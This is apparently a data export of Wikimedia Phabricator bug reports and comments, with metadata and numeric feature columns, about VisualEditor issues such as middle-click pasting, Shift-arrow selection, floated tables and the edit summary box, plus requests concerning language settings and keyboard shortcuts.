**Attached**: {F11930}"
256029,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Why would you want to edit languages, in order to understand the problem that you report here? To add links to articles with the same topic in other languages? That is exactly what Wikidata is for.

With regard to the wheel ""which opens something else"", this is part of your language and input text settings. 
See http://www.mediawiki.org/wiki/File:ULS_Usability_testing_summary.pdf for the Usability tests that led to this design.

> to really edit the languages one has to go to page settings!

I cannot find anything called ""Page Settings"" on for example http://en.wikipedia.org/wiki/Berlin . Please provide exact steps to reproduce.",,,1375355187,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0.0,1.5,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,11.0,1.5,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.5,0.0,3.0,2.5,0.0,1.0,2.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,17.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,1.0,0.0,2.5,2.0,11.5,0.5,1.0,5.5,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,3.0,11.0,1.5,1.0,3.5,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9313725490196076,0.803921568627451,"Why would you want to edit languages, in order to understand the problem that you report here? To add links to articles with the same topic in other languages? That is exactly what Wikidata is for.

With regard to the wheel ""which opens something else"", this is part of your language and input text settings. 
See URL for the Usability tests that led to this design.

QUOTE

I cannot find anything called ""Page Settings"" on for example URL . Please provide exact steps to reproduce."
54336,VisualEditor: pasting with middle-click in X-Windows doesn't work when automatic scrolling is enabled,"On Unix systems with an X-Windows desktop middle-clicking usually pastes text that was last selected with the mouse.

It doesn't work in the VisualEditor in Firefox if automatic scrolling is enabled in the preferences.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1375295280,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-lusbxefwae6sj2xokbvm,task_description,open,True,c1,3,False,False,,4,,0.0,0.0,0.0,3.0,2.0,8.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,7.0,3.0,15.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.283333333333333,0.7166666666666667,"On Unix systems with an X-Windows desktop middle-clicking usually pastes text that was last selected with the mouse.

It doesn't work in the VisualEditor in Firefox if automatic scrolling is enabled in the preferences.

--------------------------
**Version**: unspecified
**Severity**: minor"
253368,VisualEditor: pasting with middle-click in X-Windows doesn't work when automatic scrolling is enabled,How on Earth does Firefox's automatic scrolling feature interact with its pasting feature? Gah. :-),,,1375299597,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lusbxefwae6sj2xokbvm,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,17.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,4.722222222222222,0.9444444444444444,How on Earth does Firefox's automatic scrolling feature interact with its pasting feature? Gah. :-)
54332,VisualEditor: Selecting with Shift-arrow selects the heading after a list item,"Go to https://www.mediawiki.org/wiki/User:Amire80/be-bullet-heading?veaction=edit, which contains the wikitext:
```
* list item 1
* list item 2
* list item 3

==Heading==
paragraph text
```
Press Shift-↓ (down arrow) three times.

The first time, the first list item is selected.
The second time, the second list item is selected.
The third time, the third list item AND the heading are selected.

Selecting the heading should require a forth press of Shift-↓.",Low,25.0,1375294800,1701961099.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-tddypvggbabpq3kxu4cc,task_description,declined,True,c1,3,False,False,False,4,,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,14.0,4.0,15.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.6621621621621623,0.5675675675675675,"Go to URL which contains the wikitext:
``CODE``
Press Shift-↓ (down arrow) three times.

The first time, the first list item is selected.
The second time, the second list item is selected.
The third time, the third list item AND the heading are selected.

Selecting the heading should require a forth press of Shift-↓."
2243261,VisualEditor: Selecting with Shift-arrow selects the heading after a list item,"Pressing shift+down moves your cursor down visually in the browser. This is just how native selection works in the browser (for example, in read mode, select the first 'l' in 'list item 1', then press shift down, and the same thing happens).

Without completing re-implenting our own version of cursor movement, we couldn't fix this even if we wanted to.",,,1701961099,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-tddypvggbabpq3kxu4cc,task_subcomment,,True,c1,3,True,,,544,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,5.0,6.0,0.0,0.0,0.0,4.0,3.0,9.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,4.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,5.0,14.0,1.0,0.0,5.0,0.0,5.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,3.7948717948717947,0.7564102564102564,"Pressing shift+down moves your cursor down visually in the browser. This is just how native selection works in the browser (for example, in read mode, select the first 'l' in 'list item 1', then press shift down, and the same thing happens).

Without completing re-implenting our own version of cursor movement, we couldn't fix this even if we wanted to."
496673,VisualEditor: Selecting with Shift-arrow selects the heading after a list item,Verified in Firefox 41.0a2 on OS X.,,,1437770551,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-tddypvggbabpq3kxu4cc,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,Verified in Firefox 41.0a2 on OS X.
54304,VisualEditor: Display of several float:left-ed tables side-by-side inserts slugs that break them up,"Screenshot of the bug as provided by user

Depending on the display format, VE fails to get the display of several tables properly in line. See also attachment; test page here:

http://de.wikipedia.org/wiki/Benutzer:Stefan_Knauf/Dateidurchsuchungsprogramm.cpp

Report:

http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121040382#VisualEditor_ist_nicht_WYSIWYG

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11761}",Low,25.0,1375227780,,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-wgyduwg7w4wdsktqalds,task_description,open,True,c1,3,False,False,,4,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.6619718309859155,0.6338028169014085,"Screenshot of the bug as provided by user

Depending on the display format, VE fails to get the display of several tables properly in line. See also attachment; test page here:

URL

Report:

URL

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11761}"
251594,VisualEditor: Display of several float:left-ed tables side-by-side inserts slugs that break them up,"Ugh, this is because we put block slugs between these tables, and the tables are floated left.",,,1375228215,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-wgyduwg7w4wdsktqalds,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.9,"Ugh, this is because we put block slugs between these tables, and the tables are floated left."
54231,VisualEditor: Reject (or at least loudly warn about) edits that contain pawns or other obvious placeholders,"Rather than simply quietly inserting pawns and other placeholder characters into the page text, VisualEditor should do a sanity-check pre-save and either outright reject or loudly warn about edits that will insert such characters.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1375118160,1508930263.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-sfwbwm73nkcseqpbk5if,task_description,declined,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,7.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.724137931034483,0.7931034482758621,"Rather than simply quietly inserting pawns and other placeholder characters into the page text, VisualEditor should do a sanity-check pre-save and either outright reject or loudly warn about edits that will insert such characters.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
953289,VisualEditor: Reject (or at least loudly warn about) edits that contain pawns or other obvious placeholders,"The problem of inserting pawns and such is ancient history now, so building a system to detect them is not a good use of time.",,,1508930263,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-sfwbwm73nkcseqpbk5if,task_subcomment,,True,c1,3,True,,,225,,0.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,3.7777777777777777,0.8888888888888888,"The problem of inserting pawns and such is ancient history now, so building a system to detect them is not a good use of time."
247246,VisualEditor: Reject (or at least loudly warn about) edits that contain pawns or other obvious placeholders,"I suggest piggybacking on the existing sanity check code: display the ""your edit may be corrupted"" warning in the save dialog and tag the edit with visualeditor-check.",,,1375118282,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-sfwbwm73nkcseqpbk5if,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.2727272727272725,0.8181818181818182,"I suggest piggybacking on the existing sanity check code: display the ""your edit may be corrupted"" warning in the save dialog and tag the edit with visualeditor-check."
54143,Allow users to customise keyboard shortcuts,"What it says on the in. Like in most desktop applications, it should be possible for users to customise the keyboard shortcuts to their liking. Including in VisualEditor and source editor.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Low,25.0,1374931980,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-hsvzb36avth2iqas7oad,task_description,open,True,c1,3,False,False,,3,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,6.0,13.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,4.339622641509434,0.6981132075471698,"What it says on the in. Like in most desktop applications, it should be possible for users to customise the keyboard shortcuts to their liking. Including in VisualEditor and source editor.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
241930,Allow users to customise keyboard shortcuts,Removed VE reference from the title because it's simply not part of MediaWiki core.,,,1374938852,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hsvzb36avth2iqas7oad,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Removed VE reference from the title because it's simply not part of MediaWiki core.
54133,VisualEditor: Edit summary box should be a text input box and not textarea,"**Author:** `KilliondudeWP`

**Description:**
The edit summary box currently uses a textarea input box. Current functionality has the return key starting a new line in the textarea, but upon save the edit summary is truncated into one line in the page history (line breaks are turned into spaces). Thus, the textarea box is misleading.

A more sane option would be to use a single line text input box, where the enter key processes the edit rather than starts a new line.

See T40042 and T42034, and specifically T42034#467450.
",Low,25.0,1374899820,1437391823.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-y2wr4truqmwwemxh72yk,task_description,declined,True,c1,3,False,False,False,3,,0.0,0.0,0.0,1.5,0.0,5.5,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,16.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,8.0,1.5,2.5,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,4.5,6.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,0.0,0.5,1.0,0.0,0.0,3.9186688311688314,0.7391233766233767,"**Author:** CODE

**Description:**
The edit summary box currently uses a textarea input box. Current functionality has the return key starting a new line in the textarea, but upon save the edit summary is truncated into one line in the page history (line breaks are turned into spaces). Thus, the textarea box is misleading.

A more sane option would be to use a single line text input box, where the enter key processes the edit rather than starts a new line.

See T40042 and T42034, and specifically T42034#467450.
"
493871,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1465077, @matmarex wrote:
> even worse in VE than in wikitext editor because the input field is narrower.

Putting a (wider) summary box in the main editor UI would solve {T52961} as well.",,,1437402576,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,107,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,3.3333333333333335,0.9583333333333334,"QUOTE
QUOTE

Putting a (wider) summary box in the main editor UI would solve {T52961} as well."
493861,VisualEditor: Edit summary box should be a text input box and not textarea,"Such input box will still not wrap the typed text, which is terrible enough by itself for users, and even worse in VE than in wikitext editor because the input field is narrower.",,,1437401367,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,3.0,14.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,4.055555555555555,0.8611111111111112,"Such input box will still not wrap the typed text, which is terrible enough by itself for users, and even worse in VE than in wikitext editor because the input field is narrower."
493849,VisualEditor: Edit summary box should be a text input box and not textarea,How about making it an input box and just set `padding-bottom` to make it //feel// like a textarea?,,,1437399200,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,107,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,11.0,11.0,5.0,5.0,0.0,0.0,11.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,3.6842105263157894,0.9473684210526315,How about making it an input box and just set CODE to make it //feel// like a textarea?
493817,VisualEditor: Edit summary box should be a text input box and not textarea,"As discussed on the patch, assuming that we want the text to wrap, this is **not actually possible to do** for most languages, and an English-only half-solution would be inappropriate. Browsers are really letting us down here.

As I understand, there are two reasons why we would want this, which have separate tasks:
* {T106325}
* {T50274}

We should focus on resolving these, which should be possible regardless of the underlying text field used.",,,1437391823,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,1.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,5.0,1.0,8.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,12.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,4.0,5.0,8.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,1.0,4.0,0.0,1.0,0.0,3.79,0.68,"As discussed on the patch, assuming that we want the text to wrap, this is **not actually possible to do** for most languages, and an English-only half-solution would be inappropriate. Browsers are really letting us down here.

As I understand, there are two reasons why we would want this, which have separate tasks:
* {T106325}
* {T50274}

We should focus on resolving these, which should be possible regardless of the underlying text field used."
493815,VisualEditor: Edit summary box should be a text input box and not textarea,"Change 212795 abandoned by Bartosz Dziewoński:
[WIP] TextInputWidget: Allow wrapped singleline inputs

Reason:
This is not going to be compatible with different text input methods.

[[https://gerrit.wikimedia.org/r/212795]]",,,1437391169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,107,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,4.375,0.8,"Change 212795 abandoned by Bartosz Dziewoński:
[WIP] TextInputWidget: Allow wrapped singleline inputs

Reason:
This is not going to be compatible with different text input methods.

[[GERRIT_URL]]"
462285,VisualEditor: Edit summary box should be a text input box and not textarea,"The idea may or may not actually be a good one. It's definitely interesting. The gist is that we dynamically swap the <input type=text> for a <textarea>. It has some funny behavior but sort of works.

The patch above makes it impossible to type a newline into the field, and should let it display the automatic browser's autocompletion when it is single-line. Ed mentioned that it can break with IMEs if you're typing a word and it changes from input to textarea in the middle of it.",,,1432313088,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0.5,0.0,0.0,0.0,0.5,4.5,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,4.5,10.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,2.0,0.0,0.0,5.5,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,7.5,2.0,4.5,3.5,3.0,8.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,7.5,10.0,1.0,0.0,0.0,0.0,7.5,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.5,3.7547169811320753,0.8113207547169812,"The idea may or may not actually be a good one. It's definitely interesting. The gist is that we dynamically swap the <input type=text> for a <textarea>. It has some funny behavior but sort of works.

The patch above makes it impossible to type a newline into the field, and should let it display the automatic browser's autocompletion when it is single-line. Ed mentioned that it can break with IMEs if you're typing a word and it changes from input to textarea in the middle of it."
462284,VisualEditor: Edit summary box should be a text input box and not textarea,"Change 212795 had a related patch set uploaded (by Bartosz Dziewoński):
Allow wrapped singleline inputs

[[https://gerrit.wikimedia.org/r/212795]]
",,,1432312920,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,98,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.28,0.88,"Change 212795 had a related patch set uploaded (by Bartosz Dziewoński):
Allow wrapped singleline inputs

[[GERRIT_URL]]
"
